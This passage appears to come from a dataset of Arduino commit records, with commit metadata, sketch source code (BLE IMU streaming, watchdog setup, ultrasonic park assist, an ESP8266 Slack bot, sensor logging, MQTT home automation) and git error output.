LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n ===============================================\n*\/\n#include <CurieBle.h>\n#include \"CurieImu.h\"\n\n#define SERIAL_DEBUG 0\n\n#if SERIAL_DEBUG\n#define SERIAL_SETUP(baud) Serial.begin(baud);while (!Serial)\n#define SERIAL_PRINT Serial.print\n#define SERIAL_PRINTLN Serial.println\n#else\n#define SERIAL_SETUP(baud)\n#define SERIAL_PRINT(...)\n#define SERIAL_PRINTLN(...)\n#endif\n\n\n\/\/ ************* BLE **************************************************\nBLEPeripheral blePeripheral; \/\/ BLE Peripheral Device (the board you're programming)\nBLEService batteryService(\"180F\"); \/\/ BLE Battery Service\n\n\/\/ BLE Battery Level Characteristic\"\nBLECharacteristic batteryLevelChar(\"2A19\", \/\/ standard 16-bit characteristic UUID\n BLERead | BLENotify, 20); \/\/ remote clients will be able to\n\/\/ get notifications if this characteristic changes\n\nint oldBatteryLevel = 0; \/\/ last battery level reading from analog input\nlong previousMillis = 0; \/\/ last time the battery level was checked, in ms\n\nchar blePayload[20];\n\n\/\/ ************* IMU **************************************************\nint16_t ax, ay, az; \/\/ accelerometer values\nint16_t gx, gy, gz; \/\/ gyrometer values\n\nconst int ledPin = 13; \/\/ activity LED pin\nboolean blinkState = false; \/\/ state of the LED\n\nint16_t vval[6];\nint vmin[6];\nint vmax[6];\nint vlast[6];\nint16_t va[6];\nboolean gConnect = false;\n\nvoid setup() {\n \/\/Serial.begin(9600); \/\/ initialize Serial communication\n \/\/while (!Serial); \/\/ wait for the serial port to open\n SERIAL_SETUP(9600);\n\n\n\/\/ *********** BLE **************************************\n \/* Set a local name for the BLE device\n This name will appear in advertising packets\n and can be used by remote devices to identify this BLE device\n The name can be changed but maybe be truncated based on space left in advertisement packet *\/\n blePeripheral.setLocalName(\"CurieDice\");\n blePeripheral.setAdvertisedServiceUuid(batteryService.uuid()); \/\/ add the service UUID\n blePeripheral.addAttribute(batteryService); \/\/ Add the BLE Battery service\n blePeripheral.addAttribute(batteryLevelChar); \/\/ add the battery level characteristic\n blePeripheral.setEventHandler(BLEConnected, connectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, disconnectHandler);\n \/\/batteryLevelChar.setValue(oldBatteryLevel); \/\/ initial value for this characteristic\n batteryLevelChar.setValue((unsigned char *)vval,6); \/\/ initial value for this characteristic\n\n \/* Now activate the BLE device. It will start continuously transmitting BLE\n advertising packets and will be visible to remote BLE central devices\n until it receives a new connection *\/\n blePeripheral.begin();\n SERIAL_PRINTLN(\"Bluetooth device active, waiting for connections...\");\n\n\n\n\n\n \/\/ initialize device\n SERIAL_PRINTLN(\"Initializing IMU device...\");\n CurieImu.initialize();\n\n \/\/ verify connection\n SERIAL_PRINTLN(\"Testing device connections...\");\n if (CurieImu.testConnection()) {\n SERIAL_PRINTLN(\"CurieImu connection successful\");\n } else {\n SERIAL_PRINTLN(\"CurieImu connection failed\");\n }\n \n \/\/ use the code below to calibrate accel\/gyro offset values\n SERIAL_PRINTLN(\"Internal sensor offsets BEFORE calibration...\");\n SERIAL_PRINT(CurieImu.getXAccelOffset()); \n SERIAL_PRINT(\"\\t\"); \/\/ -76\n SERIAL_PRINT(CurieImu.getYAccelOffset()); \n SERIAL_PRINT(\"\\t\"); \/\/ -235\n SERIAL_PRINT(CurieImu.getZAccelOffset()); \n SERIAL_PRINT(\"\\t\"); \/\/ 168\n SERIAL_PRINT(CurieImu.getXGyroOffset()); \n SERIAL_PRINT(\"\\t\"); \/\/ 0\n SERIAL_PRINT(CurieImu.getYGyroOffset()); \n SERIAL_PRINT(\"\\t\"); \/\/ 0\n SERIAL_PRINT(CurieImu.getZGyroOffset());\n\n \/\/ To manually configure offset compensation values, \n \/\/ use the following methods instead of the autoCalibrate...() methods below\n \/\/ CurieImu.setXGyroOffset(220);\n \/\/ CurieImu.setYGyroOffset(76);\n \/\/ CurieImu.setZGyroOffset(-85);\n \/\/ CurieImu.setXAccelOffset(-76);\n \/\/ CurieImu.setYAccelOffset(-235);\n \/\/ CurieImu.setZAccelOffset(168);\n\n SERIAL_PRINT(\"Size of int is: \");\n SERIAL_PRINTLN(sizeof(int));\n SERIAL_PRINT(\"Size of long is: \");\n SERIAL_PRINTLN(sizeof(long));\n SERIAL_PRINT(\"Size of float is: \");\n SERIAL_PRINTLN(sizeof(float));\n SERIAL_PRINT(\"Size of double is: \");\n SERIAL_PRINTLN(sizeof(double));\n SERIAL_PRINTLN(\"About to calibrate. Make sure your board is stable and upright\");\n delay(5000);\n \n \/\/ The board must be resting in a horizontal position for \n \/\/ the following calibration procedure to work correctly!\n SERIAL_PRINT(\"Starting Gyroscope calibration...\");\n CurieImu.autoCalibrateGyroOffset();\n SERIAL_PRINTLN(\" Done\");\n SERIAL_PRINT(\"Starting Acceleration calibration...\");\n CurieImu.autoCalibrateXAccelOffset(0);\n CurieImu.autoCalibrateYAccelOffset(0);\n CurieImu.autoCalibrateZAccelOffset(1);\n SERIAL_PRINTLN(\" Done\");\n\n SERIAL_PRINTLN(\"Internal sensor offsets AFTER calibration...\");\n SERIAL_PRINT(CurieImu.getXAccelOffset());\n SERIAL_PRINT(\"\\t\"); \/\/ -76\n SERIAL_PRINT(CurieImu.getYAccelOffset());\n SERIAL_PRINT(\"\\t\"); \/\/ -2359\n SERIAL_PRINT(CurieImu.getZAccelOffset());\n SERIAL_PRINT(\"\\t\"); \/\/ 1688\n SERIAL_PRINT(CurieImu.getXGyroOffset());\n SERIAL_PRINT(\"\\t\"); \/\/ 0\n SERIAL_PRINT(CurieImu.getYGyroOffset());\n SERIAL_PRINT(\"\\t\"); \/\/ 0\n SERIAL_PRINTLN(CurieImu.getZGyroOffset());\n\n SERIAL_PRINTLN(\"Enabling Gyroscope\/Acceleration offset compensation\");\n CurieImu.setGyroOffsetEnabled(true);\n CurieImu.setAccelOffsetEnabled(true);\n\n \/\/ configure Arduino LED for activity indicator\n pinMode(ledPin, OUTPUT);\n\n \/\/CurieImu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n CurieImu.getMotion6(&vval[0], &vval[1], &vval[2], &vval[3], &vval[4], &vval[5]);\n\n\n\n for (int i=0; i<6; i++) {\n vmin[i] = vval[i];\n vmax[i] = vval[i];\n vlast[i] = vval[i];\n }\n\n}\n\nvoid atten(int16_t *a, int len, int shiftBy)\n{\n for (int i=0; i<len; i++) {\n a[i] = a[i] >> shiftBy;\n }\n}\n\nvoid connectHandler(BLECentral& central)\n{\n gConnect = true;\n SERIAL_PRINT(\"Connected to central: \");\n \/\/ print the central's MAC address:\n SERIAL_PRINTLN(central.address());\n \/\/ turn on the LED to indicate the connection:\n digitalWrite(13, HIGH); \n}\n\nvoid disconnectHandler(BLECentral& central)\n{\n SERIAL_PRINT(\"Disconnected from central: \");\n gConnect = false;\n digitalWrite(13, LOW); \n}\n\nvoid loop() {\n blePeripheral.poll(); \/\/ currently does delay(1);\n \/\/ listen for BLE peripherals to connect:\n \/\/BLECentral central = blePeripheral.central();\n \/\/ if a central is connected to peripheral:\n\n CurieImu.getMotion6(&vval[0], &vval[1], &vval[2], &vval[3], &vval[4], &vval[5]);\n \n for (int i=0; i<6; i++) va[i] = vval[i];\n atten(va, 6, 10);\n\n \n if (gConnect) {\n SERIAL_PRINT(\"Sending: \");\n batteryLevelChar.setValue((unsigned char*) va, 6);\n }\n if (1) {\n for (int i=0; i<6; i++) {\n SERIAL_PRINT(va[i]);\n SERIAL_PRINT(\"\\t\");\n }\n \/\/SERIAL_PRINTLN(\"\");\n }\n\n SERIAL_PRINT(\" ---- \");\n\n\n for (int i=0; i<6; i++) {\n SERIAL_PRINT(abs(vlast[i]-vval[i]));\n SERIAL_PRINT(\"\\t\");\n vlast[i] = vval[i];\n }\n SERIAL_PRINTLN(\"\");\n\n \n#if 0 \n \/\/ read raw accel\/gyro measurements from device\n \/\/CurieImu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n CurieImu.getMotion6(&vval[0], &vval[1], &vval[2], &vval[3], &vval[4], &vval[5]);\n\n atten(vval, 6, 10);\n\n\/*\n int newRange = 0;\n for (int i=0; i<6; i++) {\n if (vval[i] > vmax[i]) {\n vmax[i] = vval[i];\n newRange = 1;\n }\n if (vval[i] < vmin[i]) {\n vmin[i] = vval[i];\n newRange = 1;\n }\n }\n\n if (newRange) {\n for (int i=0; i<6; i++) {\n Serial.print(vmin[i]);\n Serial.print(\":\");\n Serial.print(vmax[i]);\n Serial.print(\"=\");\n Serial.print(vmax[i]-vmin[i]);\n Serial.print(\"\\t\");\n }\n Serial.println(\"\");\n }\n*\/\n int show=0;\n for (int i=0; i<3; i++) {\n if (vval[i] != vlast[i]) {\n vlast[i]=vval[i];\n show=1;\n }\n }\n if (show) {\n for (int i=0; i<6; i++) {\n SERIAL_PRINT(vlast[i]);\n SERIAL_PRINT(\"\\t\");\n }\n SERIAL_PRINTLN(\"\");\n }\n\n \n delay(20);\n \/\/ these methods (and a few others) are also available\n \/\/CurieImu.getAcceleration(&ax, &ay, &az);\n \/\/CurieImu.getRotation(&gx, &gy, &gz);\n\n \/\/ display tab-separated accel\/gyro x\/y\/z values\n \/\/Serial.print(\"a\/g:\\t\");\n \/\/Serial.print(ax);\n \/\/Serial.print(\"\\t\");\n \/\/Serial.print(ax);\n \/\/Serial.print(\"\\t\");\n \/\/Serial.print(ax);\n \/\/Serial.print(\"\\t\");\n \/\/Serial.print(gx);\n \/\/Serial.print(\"\\t\");\n \/\/Serial.print(gy);\n \/\/Serial.print(\"\\t\");\n \/\/Serial.println(gz);\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(ledPin, blinkState);\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/CurieDice\/CurieDice.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"010af5397bb8fced978323eb12252586b7edf00a","subject":"Implemented a request to run a program once.","message":"Implemented a request to run a program once.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4be36758a51bee20071890d90ec0b726bdd37715","subject":"[hm] Simplify clearWdt definition","message":"[hm] Simplify clearWdt definition\n","repos":"dwright134\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter","old_file":"arduino\/heatermeter\/heatermeter.ino","new_file":"arduino\/heatermeter\/heatermeter.ino","new_contents":"\/\/ HeaterMeter Copyright 2011 Bryan Mayland <bmayland@capnbry.net> \n#include \"ShiftRegLCD.h\"\n#include \"hmcore.h\"\n\n\/\/ See hmcore.h for most options and tweaks\n\n#ifdef HEATERMETER_NETWORKING\n\/\/ these are redundant but if you don't include them, the Arduino build \n\/\/ process won't include them to the temporary build location\n#include \"WiServer.h\"\n#include \"dataflash.h\"\n#include \"wishieldconf.h\"\n#endif \/* HEATERMETER_NETWORKING *\/\n\n#ifdef HEATERMETER_RFM12\n#include \"rf12_itplus.h\"\n#endif \/* HEATERMETER_RFM12 *\/\n\n\/* Disable the watchdog timer immediately after zero_reg is set *\/\n__attribute__((naked)) __attribute__((section(\".init3\")))\n void clearWdt(void)\n{\n MCUSR = 0;\n WDTCSR = _BV(WDCE) | _BV(WDE);\n WDTCSR = 0;\n}\n\nint main(void)\n{\n init();\n hmcoreSetup();\n for (;;)\n hmcoreLoop();\n return 0;\n}\n\r\n","old_contents":"\/\/ HeaterMeter Copyright 2011 Bryan Mayland <bmayland@capnbry.net> \n#include \"ShiftRegLCD.h\"\n#include \"hmcore.h\"\n\n\/\/ See hmcore.h for most options and tweaks\n\n#ifdef HEATERMETER_NETWORKING\n\/\/ these are redundant but if you don't include them, the Arduino build \n\/\/ process won't include them to the temporary build location\n#include \"WiServer.h\"\n#include \"dataflash.h\"\n#include \"wishieldconf.h\"\n#endif \/* HEATERMETER_NETWORKING *\/\n\n#ifdef HEATERMETER_RFM12\n#include \"rf12_itplus.h\"\n#endif \/* HEATERMETER_RFM12 *\/\n\n\/* Disable the watchdog timer immediately after zero_reg is set *\/\nvoid clearWdt(void) __attribute__((naked)) __attribute__((section(\".init3\")));\nvoid clearWdt(void)\n{\n MCUSR = 0;\n WDTCSR = _BV(WDCE) | _BV(WDE);\n WDTCSR = 0;\n}\n\nint main(void)\n{\n init();\n hmcoreSetup();\n for (;;)\n hmcoreLoop();\n return 0;\n}\n\r\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"e08a62d06090f7ee51eb255f4be16fa0a5985851","subject":"Added repeated inc\/dec on button hold","message":"Added repeated inc\/dec on button hold\n","repos":"DanNixon\/MonitorAutoBrightness","old_file":"BrightnessController\/BrightnessController.ino","new_file":"BrightnessController\/BrightnessController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DanNixon\/MonitorAutoBrightness.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dfaec144bd12e9f89aa8c06a13f1257ac297b561","subject":"Set CURVE to zero for less jitter","message":"Set CURVE to zero for less jitter\n","repos":"whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino","old_file":"spectrum_ws2801\/spectrum_ws2801.ino","new_file":"spectrum_ws2801\/spectrum_ws2801.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/whimshot\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dcfc6ee56596fd43d9c44773ad28075db306aee9","subject":"_08_kidSerie_sketch_02.With_Bluetooth.ino.ino","message":"_08_kidSerie_sketch_02.With_Bluetooth.ino.ino\n\n_08_kidSerie_sketch_02.With_Bluetooth.ino.ino","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_08_kidSerie_sketch_02.With_Bluetooth.ino.ino","new_file":"_08_kidSerie_sketch_02.With_Bluetooth.ino.ino","new_contents":"\/*\n Project name: \n Park Assist I w\/ MIT App Inventor 2 - Bluetooth + Arduino + MIT App + HC-SR04 Sonar #akidSerie\u200a\u2014\u200a08\n Flavour II - With Bluetooth\n Hex File: _08_kidSerie_sketch_02.With_Bluetooth.ino\n Revision History:\n 14\/05\/2017:\nDescription:\n How about that, sound and vibrate your cell? There you are! \n Here is a Golpe de Vista circuit for building garages that are getting tighter and tighter.\n \n MCU: Arduino 1.8.2 - @16MHz http:\/\/www.arduino.cc\/\nIC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\nConnections:\n See Official youtube channel vids: https:\/\/goo.gl\/BhLG8C and https:\/\/goo.gl\/pj20lS\n \nBased on: see bellow\n \nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License v3 as published by the Free Software Foundation\n \n*\/\n\/*\n HC-SR04 Ping distance sensor]\n VCC to arduino 5v GND to arduino GND\n Echo to Arduino pin 13 Trig to Arduino pin 12\n Red POS to Arduino pin 11\n Green POS to Arduino pin 10\n 560 ohm resistor to both LED NEG and GRD power rail\n More info at: http:\/\/goo.gl\/kJ8Gl\n Original code improvements to the Ping sketch sourced from Trollmaker.com\n Some code and wiring inspired by http:\/\/en.wikiversity.org\/wiki\/User:Dstaub\/robotcar\n*\/\n\n#include <SoftwareSerial.h>\n\n\nSoftwareSerial mySerial(2, 3); \/\/ RX, TX\nchar data = 0; \/\/ Variable for storing\n\n#define trigPin 13\n#define echoPin 12\n#define stop_LED 11\n#define go_LED 10\n\nvoid setup() {\n\n Serial.begin(9600);\n mySerial.begin(9600);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(stop_LED, OUTPUT);\n pinMode(go_LED, OUTPUT);\n}\n\nvoid loop() {\n long duration, distance;\n digitalWrite(trigPin, LOW); \/\/ Added this line\n delayMicroseconds(2); \/\/ Added this line\n digitalWrite(trigPin, HIGH);\n \/\/ delayMicroseconds(1000); - Removed this line\n delayMicroseconds(10); \/\/ Added this line\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration ) \/ 58.2;\n if (distance < 5) { \/\/ This is where the LED On\/Off happens\n digitalWrite(stop_LED, HIGH); \/\/ When the Red condition is met, the Green LED should turn off\n Serial.println(\"STOP\");\n mySerial.println(\"STOP\"); \/\/ S - TOP\n mySerial.println(distance);\n digitalWrite(go_LED, LOW);\n }\n else {\n digitalWrite(stop_LED, LOW);\n \/\/mySerial.print('G'); \/\/ G - O\n digitalWrite(go_LED, HIGH);\n }\n delay(100);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_08_kidSerie_sketch_02.With_Bluetooth.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"33b6a677ebc90cd3caa24b487368b77995571d5f","subject":"slackbot test","message":"slackbot test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_66-slack-bot\/_66-slack-bot.ino","new_file":"_66-slack-bot\/_66-slack-bot.ino","new_contents":"\/\/ slackbot testing using https:\/\/github.com\/urish\/arduino-slack-bot\n\/**\n Arduino Real-Time Slack Bot\n\n Copyright (C) 2016, Uri Shaked.\n\n Licensed under the MIT License\n*\/\n\n\/*\n modified by chaeplin @ gmail.com\n *\/\n\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <ESP8266HTTPClient.h>\n#include <WebSocketsClient.h>\n#include <ArduinoJson.h>\n\n#include \"\/usr\/local\/src\/ap_setting.h\"\n#include \"\/usr\/local\/src\/slack_setting.h\"\n\nconst char* api_fingerprint = \"AB F0 5B A9 1A E0 AE 5F CE 32 2E 7C 66 67 49 EC DD 6D 6A 38\";\n\n\/\/#define SLACK_BOT_TOKEN \"put-your-slack-token-here\"\n\/\/#define WIFI_SSID \"wifi-name\"\n\/\/#define WIFI_PASSWORD \"wifi-password\"\n\nWiFiClientSecure sslclient;\nWebSocketsClient webSocket;\n\nlong nextCmdId = 1;\nbool connected = false;\n\n\/**\n Sends a ping message to Slack. Call this function immediately after establishing\n the WebSocket connection, and then every 5 seconds to keep the connection alive.\n*\/\nvoid sendPing() {\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"ping\";\n root[\"id\"] = nextCmdId++;\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\nvoid processSlackMessage(char *payload) {\n\/\/ [WebSocket] Message: {\"type\":\"message\",\"channel\":\"xxxxx\",\"user\":\"xxxx\",\"text\":\"test123\",\"ts\":\"1466878878.000005\",\"team\":\"xxxx\"} \n}\n\n\/**\n Called on each web socket event. Handles disconnection, and also\n incoming messages from slack.\n*\/\nvoid webSocketEvent(WStype_t type, uint8_t *payload, size_t len) {\n switch (type) {\n case WStype_DISCONNECTED:\n Serial.printf(\"[WebSocket] Disconnected :-( \\n\");\n connected = false;\n break;\n\n case WStype_CONNECTED:\n Serial.printf(\"[WebSocket] Connected to: %s\\n\", payload);\n sendPing();\n break;\n\n case WStype_TEXT:\n Serial.printf(\"[WebSocket] Message: %s\\n\", payload);\n processSlackMessage((char*)payload);\n break;\n }\n}\n\n\/**\n Establishes a bot connection to Slack:\n 1. Performs a REST call to get the WebSocket URL\n 2. Conencts the WebSocket\n Returns true if the connection was established successfully.\n*\/\nbool connectToSlack() {\n \/\/ Step 1: Find WebSocket address via RTM API (https:\/\/api.slack.com\/methods\/rtm.start)\n HTTPClient http;\n String uri_to_post = \"\/api\/rtm.start?token=\";\n uri_to_post += SLACK_BOT_TOKEN;\n\n http.begin(\"slack.com\", 443, uri_to_post, api_fingerprint);\n int httpCode = http.GET();\n if (httpCode != HTTP_CODE_OK) {\n Serial.printf(\"HTTP GET failed with code %d\\n\", httpCode);\n return false;\n }\n\n WiFiClient *client = http.getStreamPtr();\n client->find(\"wss:\\\\\/\\\\\/\");\n String host = client->readStringUntil('\\\\');\n String path = client->readStringUntil('\"');\n path.replace(\"\\\\\/\", \"\/\");\n\n \/\/ Step 2: Open WebSocket connection and register event handler\n Serial.println(\"WebSocket Host=\" + host + \" Path=\" + path);\n webSocket.beginSSL(host, 443, path, \"\", \"\");\n webSocket.onEvent(webSocketEvent);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n \/\/Serial.setDebugOutput(true);\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n }\n\n configTime(3 * 3600, 0, \"pool.ntp.org\", \"time.nist.gov\");\n}\n\nunsigned long lastPing = 0;\n\n\/**\n Sends a ping every 5 seconds, and handles reconnections\n*\/\nvoid loop() {\n webSocket.loop();\n\n if (connected) {\n \/\/ Send ping every 5 seconds, to keep the connection alive\n if (millis() - lastPing > 5000) {\n sendPing();\n lastPing = millis();\n }\n } else {\n \/\/ Try to connect \/ reconnect to slack\n connected = connectToSlack();\n if (!connected) {\n delay(500);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_66-slack-bot\/_66-slack-bot.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3982d004c373a83232e64ac32e5efdd064205d66","subject":"first stab at joining the sensors into one sketch","message":"first stab at joining the sensors into one sketch\n","repos":"UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter","old_file":"sensor-array\/sensors.ino","new_file":"sensor-array\/sensors.ino","new_contents":"#include <Wire.h>\n#include <L3G4200D.h>\n#include <ADXL345.h>\n#include <HMC5883L.h>\n#include <Adafruit_BMP085.h>\n#include <Sensirion.h>\n\nfloat heading;\n\n\/\/10DOF\nL3G4200D gyro;\nADXL345 accel; \nHMC5883L compass;\nAdafruit_BMP085 bmp;\n\n\/\/sht75\nconst uint8_t dataPin = 9; \/\/ SHT serial data\nconst uint8_t sclkPin = 8; \/\/ SHT serial clock\nconst uint32_t TRHSTEP = 5000UL; \/\/ Sensor query period\nSensirion sht = Sensirion(dataPin, sclkPin);\nuint16_t rawData;\nfloat temperature;\nfloat humidity;\nfloat dewpoint;\nbyte measActive = false;\nbyte measType = TEMP;\nunsigned long trhMillis = 0; \/\/ Time interval tracking\n\n\/\/Linear Thermistor\nint inPin = A1;\ndouble inputValue;\ndouble tempInCelsius;\ndouble slope = -0.1302; \/\/Place calibrated thermistor slope here in degC\/V\ndouble offset = 89.113; \/\/Place calibrated thermistor offset here in degC\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(inPin, INPUT);\n Wire.begin();\n gyro.enableDefault();\n accel.set_bw(ADXL345_BW_12);\n compass = HMC5883L();\n compass.SetScale(1.3); \/\/ Set the scale of the compass.\n compass.SetMeasurementMode(Measurement_Continuous); \/\/ Set the measurement mode to Continuous \n bmp.begin();\n}\n\nvoid loop() {\n \n \/\/linear thermistor\n inputValue = analogRead(inPin);\n tempInCelsius = inputValue * slope + offset;\n Serial.print(tempInCelsius);\n Serial.println(\"\\t deg Celsius\");\n\n \/\/sht75\n unsigned long curMillis = millis();\n if (curMillis - trhMillis >= TRHSTEP) { \/\/ Time for new measurements?\n measActive = true;\n measType = TEMP;\n sht.meas(TEMP, &rawData, NONBLOCK); \/\/ Start temp measurement\n trhMillis = curMillis;\n }\n if (measActive && sht.measRdy()) { \/\/ Note: no error checking\n if (measType == TEMP) { \/\/ Process temp or humi?\n measType = HUMI;\n temperature = sht.calcTemp(rawData); \/\/ Convert raw sensor data\n sht.meas(HUMI, &rawData, NONBLOCK); \/\/ Start humidity measurement\n } else {\n measActive = false;\n humidity = sht.calcHumi(rawData, temperature); \/\/ Convert raw sensor data\n dewpoint = sht.calcDewpoint(humidity, temperature);\n Serial.print(\"Temperature = \"); Serial.print(temperature);\n Serial.print(\" C, Humidity = \"); Serial.print(humidity);\n Serial.print(\" %, Dewpoint = \"); Serial.print(dewpoint);\n Serial.println(\" C\");\n }\n }\n \n \/\/ Print out the gryo values\n gyro.read();\n Serial.print(\"G: \");\n Serial.print((int)gyro.g.x);\n Serial.print(\",\");\n Serial.print((int)gyro.g.y);\n Serial.print(\",\");\n Serial.println((int)gyro.g.z);\n\n \/\/ Print out the accel values\n double acc_data[3];\n accel.get_Gxyz(acc_data);\n Serial.print(\"A: \");\n float length = 0.;\n for(int i = 0; i < 3; i++){\n length += (float)acc_data[i] * (float)acc_data[i];\n Serial.print(acc_data[i]);\n Serial.print(\",\");\n }\n length = sqrt(length);\n Serial.print(length);\n Serial.println(\"\");\n \n \/\/ Print out the bmp values\n Serial.print(\"B: \");\n Serial.print(bmp.readTemperature());\n Serial.print(\",\");\n Serial.print(bmp.readPressure());\n Serial.print(\",\");\n Serial.print(bmp.readAltitude());\n Serial.println(\"\");\n \n \/\/ Print out the compass heading\n getHeading();\n Serial.print(\"H: \");\n Serial.print(heading);\n Serial.println(\"\");\n \n}\n\nvoid getHeading(){\n \/\/ Retrive the raw values from the compass (not scaled).\n MagnetometerRaw raw = compass.ReadRawAxis();\n \/\/ Retrived the scaled values from the compass (scaled to the configured scale).\n MagnetometerScaled scaled = compass.ReadScaledAxis();\n \n \/\/ Values are accessed like so:\n int MilliGauss_OnThe_XAxis = scaled.XAxis;\/\/ (or YAxis, or ZAxis)\n \n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n heading = atan2(scaled.YAxis, scaled.XAxis); \n \n float declinationAngle = 0.0457;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n heading = heading * 180\/M_PI; \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor-array\/sensors.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"36ee36d21e16ca354daf2abe058e2202f5655a48","subject":"version 13\/9","message":"version 13\/9\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"73a3a1e652cd4b1d6ba86665e08a216fdba6276a","subject":"Implementa conex\u00f5es com ethernet e mosquitto. Implementa detec\u00e7\u00e3o da temperatura e sinaliza\u00e7\u00e3o atrav\u00e9s de LED.","message":"Implementa conex\u00f5es com ethernet e mosquitto. Implementa detec\u00e7\u00e3o da temperatura e sinaliza\u00e7\u00e3o atrav\u00e9s de LED.\n","repos":"brunosavyofs\/casa_inteligente","old_file":"arduino\/casa_inteligente\/casa_inteligente.ino","new_file":"arduino\/casa_inteligente\/casa_inteligente.ino","new_contents":"#define TEMPO_NOVA_TENTATIVA 5000\n\n\/\/ Carrega biblioteca para economia de energia\n#include <Narcoleptic.h>\n\n\/\/ Configura\u00e7\u00f5es da shield ethernet\n#include <SPI.h>\n#include <Ethernet.h>\n\nIPAddress server(192, 168, 0, 108);\nEthernetClient ethClient;\n\n\/\/ Endereco MAC da shield ethernet\nbyte mac[] = {\n 0x64, 0x1c, 0x67, 0x79, 0xc5, 0xb3\n};\n\n\n\/\/ Configura\u00e7\u00f5es da comunica\u00e7\u00e3o com mosquitto\n#include <PubSubClient.h>\n\n#define PORTA_MQTT 1883\n\nPubSubClient client(ethClient);\n\n\n\/\/ Configura\u00e7\u00f5es da funcionalidade 01 - Acionamento autom\u00e1tico do ar condicionado\n \n\/\/ Conecte pino 1 do sensor (esquerda) ao +5V\n\/\/ Conecte pino 2 do sensor ao pino PINO_SENSOR_TEMP\n\/\/ Conecte pino 4 do sensor ao GND\n\/\/ Conecte o resistor de 10K entre pin 2 (dados) e ao pino 